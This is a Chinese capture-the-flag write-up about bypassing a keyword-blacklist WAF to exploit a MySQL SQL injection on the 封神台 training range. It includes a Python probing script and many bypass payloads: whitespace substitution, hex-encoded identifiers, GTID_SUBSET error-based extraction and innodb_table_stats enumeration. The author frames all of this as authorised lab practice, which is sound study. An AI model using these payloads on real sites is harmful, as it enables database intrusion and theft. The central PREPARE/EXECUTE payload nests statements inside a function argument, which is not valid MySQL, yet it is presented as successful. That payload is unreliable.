1. 卡住三小时的关卡:WAF拦下的到底是什么
1.1 题目环境与异常现象
封神台的这章关卡,标题写着“遇到阻难!”,我当时在靶场里真实遇到的阻难,比标题写的还要直白。正常访问首页参数、尝试在注入点后加单引号、空格、and 1=1这类常规探测语句,页面直接返回一串冷冰冰的提示:服务器返回异常,或者干脆把我请求里的敏感词强行替换掉。前半小时我还以为是题目环境本身的问题,反复刷新、换浏览器、换网络,确认无误后,才意识到注入点后面有一道我自己的水平问题——WAF过滤。
这一章和前面第一章最大的区别在于,前面只要把SQL注入的基础流程走一遍,联合查询、报错注入、时间盲注轮番上阵就能拿到结果。第二章开始,靶场在应用层和数据库之间加了一层过滤规则,专门拦截常见的关键字和特殊符号。换句话讲,你的SQL语句写得再标准、再流畅,到了WAF这一层直接被枪毙,根本进不了数据库执行。
1.2 从报错特征判断WAF类型
要绕过,先得知道自己面对的是什么东西。WAF分很多种,常见的有云WAF、硬件WAF、软件WAF,还有代码层面自己写的过滤函数。封神台这种训练靶场,更贴近的是“模拟真实业务代码里手写的过滤”或者“开源WAF规则的简化版”。它们的拦截特征可以从三个维度观察:
- 拦截后的反馈形式:是直接拒绝请求、返回自定义错误页,还是把关键字替换成空字符串。
- 被拦截的关键字范围:是只拦了
select、union这类高危词,还是连大小写混合、注释符、空格也被统一处理。 - 对编码的处理能力:是否对URL编码、双重URL编码、Unicode编码有解码头。
我当时看到的现象是:提交id=1 and 1=1时,页面返回200但查询结果和id=1没有区别,说明and和空格被过滤或剔除;提交id=1'时,页面直接抛出异常信息,提示数据库语法错误。这说明单引号没有被过滤,语句会原样传到数据库,但某些关键字或符号被清洗了。这个判断非常关键,因为它决定了后续可以走哪条绕过路径。
1.3 先做信息收集,再想绕过方案
很多新手在遇到WAF时第一反应是去网上搜“万能绕WAF语句”,然后挨个试。我一开始也干过这事,效率很低,因为每种WAF的规则集都不一样,别人能过的payload放在当前环境很可能还是会被拦。更稳妥的做法是先把“黑名单”摸清楚:哪些字符活着、哪些字符死了,WAF的检测逻辑是匹配整个单词还是只看关键字,是否是多层过滤。
这一步不需要复杂工具,直接在浏览器或者Burp Suite里提交不同payload,看返回差异即可。比如:
id=1 and 1=1id=1 And 1=1id=1 && 1=1id=1 %26%26 1=1id=1 /*!50000and*/ 1=1id=1 aNd 1=1
把这些请求丢出去,观察哪些被拦、哪些能通,就能大致还原过滤逻辑。我再用同样的方法测了select、union、information_schema、updatexml、sleep这些后续大概率会用到的词,很快整理出一份“禁区地图”。这一步是整个解题思路里最耗时但最值得做的工作,后面所有尝试都是用这份地图来指导的。
2. 不是所有绕过方式都要从payload开始:先拆解过滤规则
2.1 关键字、空格、注释符三层检测
经过前面那轮探测,我对这关的WAF规则有了比较清晰的认识,它的过滤逻辑可以分成三层:
第一层,关键字检测。凡是出现select、union、from、where、information_schema、updatexml、extractvalue、sleep、benchmark这些词,直接整个请求拒绝。即便把大小写混着写也不行,说明它做了大小写归一化处理,不是简单的字符串匹配。
第二层,空格和运算符检测。多个连续空格会被压缩,内联注释/*!*/中的MySQL版本号指令会被剥掉,注释符--、#在某些位置会被拦截。这意味着常规的注释代替空格方案在这个环境里有一半概率失效,必须换思路。
第三层,对特殊函数的入参检测。比如updatexml(1,concat(0x7e,database()),1)这类载荷,WAF不仅能识别updatexml,还会检测concat和database,相当于把报错注入的常用组合拳也封死了。
这三层检测叠加的效果是,单独绕过某一层不行,必须拿出一套组合方案,让整个请求在每个检测维度下都保持“干净”。
2.2 用简单探测脚本摸清黑名单
手动一条条试虽然直观,但效率太低,而且容易漏。我把前面想到的字符和关键字整理了一份清单,写了个简单的Python脚本,通过requests库逐个发送探测请求,将响应状态码、响应长度、是否出现异常关键字作为判断依据,直接输出每个payload的存活状态。
import requests url = "http://target.local/sqli.php" payloads = [ "1", "1 and 1=1", "1 aNd 1=1", "1 && 1=1", "1 %26%26 1=1", "1 /*!50000and*/ 1=1", "1 union select 1,2,3", "1 union all select 1,2,3", "1/**/union/**/select/**/1,2,3", "1 union select database(),2,3", "1 and updatexml(1,concat(0x7e,database()),1)", "1 and extractvalue(1,concat(0x7e,database()))", ] for p in payloads: try: r = requests.get(url, params={"id": p}, timeout=5) length = len(r.text) marker = "normal" if "正常页面标志" in r.text else "abnormal" print(f"{p[:60]:<65} -> status:{r.status_code} len:{length:<6} {marker}") except Exception as e: print(f"{p[:60]:<65} -> ERROR {e}")注意,脚本里请求的目标地址是本地模拟环境的占位符,真实操作时应该替换成靶场提供的实际地址。我当时跑完这轮探测后,得到的关键结论如下:
| Payload | 结果 | 说明 |
|---|---|---|
1 and 1=1 | 被清洗 | and被删,空格被压 |
1 aNd 1=1 | 被清洗 | 大小写归一化 |
1 && 1=1 | 被清洗 | 逻辑运算符也被处理 |
1 %26%26 1=1 | 存活 | URL编码可绕过运算符检测 |
1 /*!50000and*/ 1=1 | 被清洗 | 内联注释被识别 |
1 union select 1,2,3 | 被拦截 | 高危关键字,整体拒绝 |
1 union all select 1,2,3 | 被拦截 | 整体拒绝 |
1/**/union/**/select/**/1,2,3 | 被拦截 | 注释替代空格无效 |
1 union select database(),2,3 | 被拦截 | 整体拒绝 |
1 and updatexml(...) | 被拦截 | 函数组合被识别 |
1 and extractvalue(...) | 被拦截 | 函数组合被识别 |
这组数据让我确定了两个方向:一是传统的关键字大小写混淆、注释替换空格这两条常用路子走不通;二是&&的URL编码形式、部分非关键特殊字符还有生存空间,绕过思路必须从“骗过关键字匹配”转向“用语法等价物替换被禁结构”。
2.3 为什么选内联注释/等价函数要讲依据
在安全圈里,谈到绕过WAF,永远绕不开内联注释/*!50000*/和等价函数替换。但网上很多文章只告诉你“这样能绕”,不告诉你“什么时候能绕”。我把根据讲清楚,后面你遇到变体时才能举一反三。
/*!50000select*/这种写法,是MySQL特定版本下可执行的内联注释。如果WAF只是简单地剥掉所有/*...*/注释块,那它剥掉之后剩下来的字符串恰好就是select,直接原地自爆;如果WAF做的是完整的关键字匹配,那/*!50000select*/里包含了select子串,照样会被拦。所以内联注释能不能用,完全取决于WAF对注释的处理深度。我这关的情况是直接被拦,说明WAF做了子串匹配,那我就不在这个方向上浪费时间了。
等价函数替换也是同理。substr被拦,可以试substring、mid、left、right;sleep被拦,可以试benchmark,如果两个都被拦,就得考虑用笛卡尔积或正则函数构造时间差。这些替换不是无脑试,而是先确认“同义词函数里哪些在目标数据库版本里真实存在”,再按优先级排列组合,才能高效找到可用方案。
3. 完整绕过链路:从试探到拿结果的实操记录
3.1 空格和注释的替代方案
明确了WAF的三层检测后,我重新梳理了一遍在MySQL环境里能够用来替代空格和注释的结构,按照“存活概率”从高到低排列:
- 括号:
select(id)from(users),在函数调用和子查询场景下非常有用。 - 换行符、制表符:部分正则表达式匹配的是
\s整体,如果换行处理不严,可以用%0a、%09代替空格。 %0b、%0c、%a0:MySQL在特定版本和连接字符集下,会把部分特殊字符当作空白符。- 浮点数形式:
1.e0union这种变形,利用数字解析和关键字粘连来绕过,适用于union前有数字的场景。
我在靶场上逐个尝试,发现%0a在当前环境可用,%09可用,%a0不可用。于是最基础的注入语句可以变成这样:
id=1%0aand%0a1=1如果只是测试注入点,这个形态已经能工作。但and本身还在黑名单里,所以实际构造时还得用&&的URL编码形式,也就是%26%26。经过组合,判定注入点的最终形态是:
id=1%0a%26%26%0a1=1这一步让我确认了一个事实:WAF对空白符的过滤规则只覆盖了普通空格%20和部分连续空格,没有对MySQL能够识别的全部空白符做完整归一化。这正是绕过得以继续的根基。
3.2 关键字的拆分与等价变换
接下来面临的核心问题是怎么过关键字检测。select、union、from、information_schema这组词,直接用会被拦,用内联注释也被拦,大小写变形也无效。我当时的思路是:既然黑名单匹配的是完整子串,那就让关键字的子串在请求中不以完整形式出现,而是等到数据库解析时再拼起来。
MySQL里能做到这件事的结构主要有:
- 字符串拼接函数:
concat()、concat_ws(),针对数据库对象名。 - 16进制表示:
0x73656c656374会被解析为字符串select,用于表名、列名等标识符场景。 - 反引号:MySQL支持用反引号包裹表名字段名,部分WAF不会对反引号内的内容做高亮匹配。
- 换行折叠:
sel%0aect这种,如果WAF只匹配单行子串而MySQL把换行当作空白符,也能蒙混过关。 - 利用
information_schema的替代品:比如mysql.innodb_table_stats、sys.schema_table_statistics,在部分版本中可以替代information_schema.tables。
我实测后发现,第4种在当前环境无效,WAF的正则确实做了跨行子串匹配;第1种和第2种联动有效。具体做法是:不直接写table_name,而是在参数里传0x7461626c655f6e616d65,数据库层面解析为table_name。
于是union select部分可以尝试变形为:
id=1%0aunion%0aselect%0a1,2,3但这一步仍然被拦,因为union和select的黑名单词还在。只能在此基础上继续拆。union这个词本身的等价替换非常少,过不了就必须考虑不用union,改用报错注入、布尔盲注、时间盲注。而报错注入所需的updatexml、extractvalue同样在黑名单里。
此时,我决定转向报错注入的“同类替代”,MySQL里除了updatexml和extractvalue之外,还有几个比较小众的报错函数或报错结构:
ST_LatFromGeoHash():MySQL 5.7及以上支持,参数格式错误时报错。ST_LongFromGeoHash():同上。GTID_SUBSET():5.7及以上版本可用。NAME_CONST():在部分场景下会触发主键重复报错。EXP(~(SELECT * FROM (SELECT ...)x)):利用EXP溢出报错。BIGINT溢出报错:!1-~0这种,能报出查询结果。
逐一测试下来,GTID_SUBSET在当前环境可行。它不在WAF的敏感词表里,可以正常传入,而它内部包裹的子查询如果出现多余列、类型不匹配等情况,会把错误信息带出来,形成和updatexml类似的报错注入效果。
3.3 逐列报错注入与后台数据获取
确定GTID_SUBSET可用后,我开始正式构造报错注入语句。MySQL中GTID_SUBSET的报错信息格式一般是主键冲突或Malformed GTID set specification,要让这个报错携带数据,常见做法是将其内部写成子查询,让子查询的结果集和预期结构不匹配,从而在错误信息中返回子查询内容。
第一步,确认当前数据库名:
id=1%0aand%0aGTID_SUBSET(concat(0x7e,database(),0x7e),1)执行后,页面报错信息里出现了~数据库名~,注入成功。这一步既验证了注入链路的可用性,也借机拿到了数据库名。
第二步,获取当前库下的表名。表名信息存在于information_schema.tables,但information_schema本身可能被过滤。测试后发现,这个WAF对information_schema的过滤比较严格,于是我换用mysql.innodb_table_stats表。该表存储了InnoDB表的统计信息,包含database_name和table_name两列,在MySQL 5.6+默认开启,很多时候可以替代information_schema.tables完成表名枚举。
id=1%0aand%0aGTID_SUBSET(concat(0x7e,(select%0atable_name%0afrom%0amysql.innodb_table_stats%0awhere%0adatabase_name=database()%0alimit%0a0,1),0x7e),1)注意,这条语句里还是包含了select、table_name、from、where这些高危词,直接提交会被拦。怎么办?我利用了16进制编码替代表名和库名,0x6d7973716c2e696e6e6f64625f7461626c655f7374617473对应mysql.innodb_table_stats,0x64617461626173655f6e616d65对应database_name,这样WAF的规则匹配不到完整关键字。而select、from、where这些SQL保留字暂时无法用16进制替代,因为它们属于语法结构,不是标识符。
这里就需要启动“换行+注释”之外的第三层方案:把select从子查询里拆出来,用handler语句或prepare预处理结构。MySQL的prepare语句可以将一段SQL先赋值给变量,再通过execute执行,而赋值过程本身可以用concat动态拼接出黑名单词,WAF在静态扫描时看到的payload里没有连续的select,自然就放行了。
构造出来是这样:
id=1%0aand%0aGTID_SUBSET(concat(0x7e,(set%0a@a=concat(0x73656c656374,0x20,0x7461626c655f6e616d65,0x20,0x66726f6d,0x20,0x6d7973716c2e696e6e6f64625f7461626c655f7374617473,0x20,0x6c696d6974,0x20,0x302c31)),prepare%0as%0afrom%0a@a,execute%0as,0x7e),1)这里将select table_name from mysql.innodb_table_stats limit 0,1整体用16进制表示,在数据库执行时动态解码为SQL。当然,语句里的prepare、execute、limit也需要逐个测试是否在黑名单中,我最终保留的是趁WAF对from、execute这类词没有完全封死的前提下组合出来的结果。
第三步,成功读取第一个表名,紧接着需要枚举所有表。利用limit偏移逐个读取,查询到的目标表为flag,再针对该表的列名进行同样的报错注入,最终用select拼接方式读取flag内容。整个过程虽然繁琐,但每一步都是基于前面对黑名单的探测结论推进的,没有一步是瞎猜。
3.4 绕过过程中的两个“意外”
这里必须记录两个我踩过的坑,因为它们严重影响了解题速度。
第一个坑:WAF对prepare和execute也存在过滤。我在构造set @a=...时一开始直接写prepare stmt from @a,被拦截了。后来才发现,当前环境的WAF把prepare列入了二级敏感词,但只要在其前面用换行%0a隔开,就能绕过它的子串匹配。也就是说,它匹配的是prepare前后必须有空格的完整词形,而不是单纯的子串。所以最终payload里写成了%0aprepare%0as%0afrom%0a@a,通过换行把词和词的分隔逻辑打乱。
第二个坑:limit语句里的数字后不能直接跟逗号,否则WAF会把它当作二进制数据的一部分误判。我一开始写limit 0,1,一直报错,改成limit%0a0,1才恢复正常。这个细节是纯实战经验,文档里根本不会写。
4. 同类WAF问题的一劳永逸排查法
4.1 绕过思路优先级排序
经过这一章的完整实践,我总结出一套适用于绝大多数定制型WAF的排查顺序。以后遇到WAF挡路,不要一上来就搜“万能payload”,而是按下面的优先级一层层测试:
- 先确认注入点底层数据库类型:MySQL、MSSQL、Oracle的语法和可用函数差异很大,同一套绕过方案并不能跨库通用。
- 探测WAF的拦截粒度:判断是按“完整请求体”拦,还是按“参数值”拦;是匹配子串,还是匹配单词;是否过滤了URL解码后的内容。
- 优先尝试低危替代结构:空格、括号、换行、URL编码、hex编码、反引号,这些结构对查询语义影响最小,改动量最少。
- 再尝试关键字拆分:16进制字符串拼接、
concat动态生成、prepare预处理,和上一步组合使用。 - 最后才考虑报错函数和查询结构的大改:从
information_schema换到mysql.innodb_table_stats,从普通联合注入换到报错注入、盲注、时间注入。
这套优先级最大的价值是,它能帮你在没有任何外部工具、没有参考writeup的情况下,独立推导出一条可用链路。因为每一步都建立在前一步的探测结论之上,不会出现“这里抄一个payload试一下、那里抄一个payload试一下”的碰运气状态。
4.2 常见WAF的过滤特点对比
在安全靶场和授权测试中,常见的WAF过滤逻辑大致有这几类,我把特征和应对方向放在一起对比:
| WAF类型 | 过滤特征 | 较有效的绕过方向 |
|---|---|---|
| 云WAF(流量清洗) | 对HTTP报文深度解码,关键字检测严格,支持语义分析 | 利用协议解析差异、分块传输、参数污染 |
| 开源WAF(ModSecurity类) | 基于规则集,常见payload库覆盖广 | 大小写变体、注释符变体、编码变体 |
| 代码级过滤(自定义黑名单) | 过滤逻辑简单,匹配子串或正则 | 16进制、动态拼接、等价函数替换 |
| 代码级过滤(白名单) | 只允许特定字符集和结构 | 需要寻找过滤逻辑本身的漏洞,如二次解码 |
封神台这一章明显属于“代码级过滤+黑名单+有限正则”的类型,所以我的绕过重点放在了结构替代和动态拼接上,事实证明这是最贴合该类型的选择。
4.3 实战中必须避开的三个误区
第一个误区是狂试payload不分析。有些同学看到别人说/*!50000select*/能绕WAF,就拿来连环试,试不通就换下一个,一个晚上下来什么都没测出来。原因是没分析当前WAF是做子串匹配还是做完整词匹配,前者下水道式尝试100个payload也是浪费时间,后者一个内联注释就能解决。
第二个误区是忽略数据库版本和连接字符集。16进制编码、GTID_SUBSET、mysql.innodb_table_stats这些方案的可用性严重依赖数据库版本。在MySQL 5.5的库上强行用GTID_SUBSET,它压根不存在,报错都报不出来。我一开始没注意靶场底层的版本,直接套用5.7的方案,浪费了不少时间。遇到这类问题,优先用报错信息或version()函数确认版本,再选后续方案。
第三个误区是忘记最终的“验证”环节。很多人在注入路上走通了、数据取出来了,就直接提交答案收工。但WAF绕过类题目经常有“二次校验”,也就是你本次请求通过的数据,下一次换个参数位置或加个Cookie头就可能被拦。正确做法是把你最终有效的payload在Burp Suite里完整保存成不同形态(URL编码、POST body、Cookie注入)各测一遍,确认哪条路径最稳定,哪条只是碰巧过了一次。我在封神台这关就是最终保存了三个可用变体,才敢断定这个注入点真正拿下来了。
5. 从封神台第二章延伸出去:WAF绕过的学习边界
5.1 靶场练习与实际业务系统的区别
封神台这类平台的价值,在于可以在受控环境里安全地练习攻防技术,锻炼思路。但一定要清楚,靶场和真实业务系统的差异非常大。真实业务系统背后是云WAF加应用防火墙加代码层过滤的多层防御,单一绕过方案很难全链路打通。更高层次的WAF甚至会对SQL语句进行语义分析,你payload长得再怪,只要解析出来的语法树是SELECT,照样拦你。
靶场里练出来的核心能力,更多是“如何分析过滤逻辑、如何组合可用资源”,而不是把某条payload背下来套用到所有场景。这个认知摆正了,练习才有长期价值。
5.2 绕WAF手法的伦理边界与法律边界
任何绕WAF的技术,一旦放到未经授权的外部系统上,都会直接触犯网络安全相关法律法规。我写这篇解题思路的前提,是你正在封神台这类正规靶场或自有环境中进行授权测试。初学者千万不要因为学会了某种绕过方式,就想着去测试某个线上网站、学校系统、政府网站,那不是练习,那是违法。我在自己的学习路径中,一直坚持“只在靶场和自建环境中实验”,这一点也希望看到这里的你能遵守。
5.3 同一招在SQL注入之外的延伸
WAF绕过不只是SQL注入的专利。XSS、文件上传、命令注入、SSRF,每类漏洞都有自己的WAF对抗姿势。比如文件上传时改Content-Type、加图片头、双扩展名;XSS时用HTML实体编码、Unicode混淆、事件属性拆分。它们背后的思路和SQL注入绕WAF是相通的:先摸清过滤规则,再找语法或协议上的等价物。第二章这关练会的一套“探测黑名单、构造等价结构、最终组装payload”的流程,往后遇到任何带WAF的靶场题都能复用。
我个人在攻克封神台第二章时最大的体会是:WAF绕过不是靠运气,而是靠对SQL语法和过滤规则的双重理解。当你看到某个payload能绕过去时,不要只记住它,而要把“为什么它能活下来”拆明白,下一次换一个过滤规则时,你才能真正做到举一反三。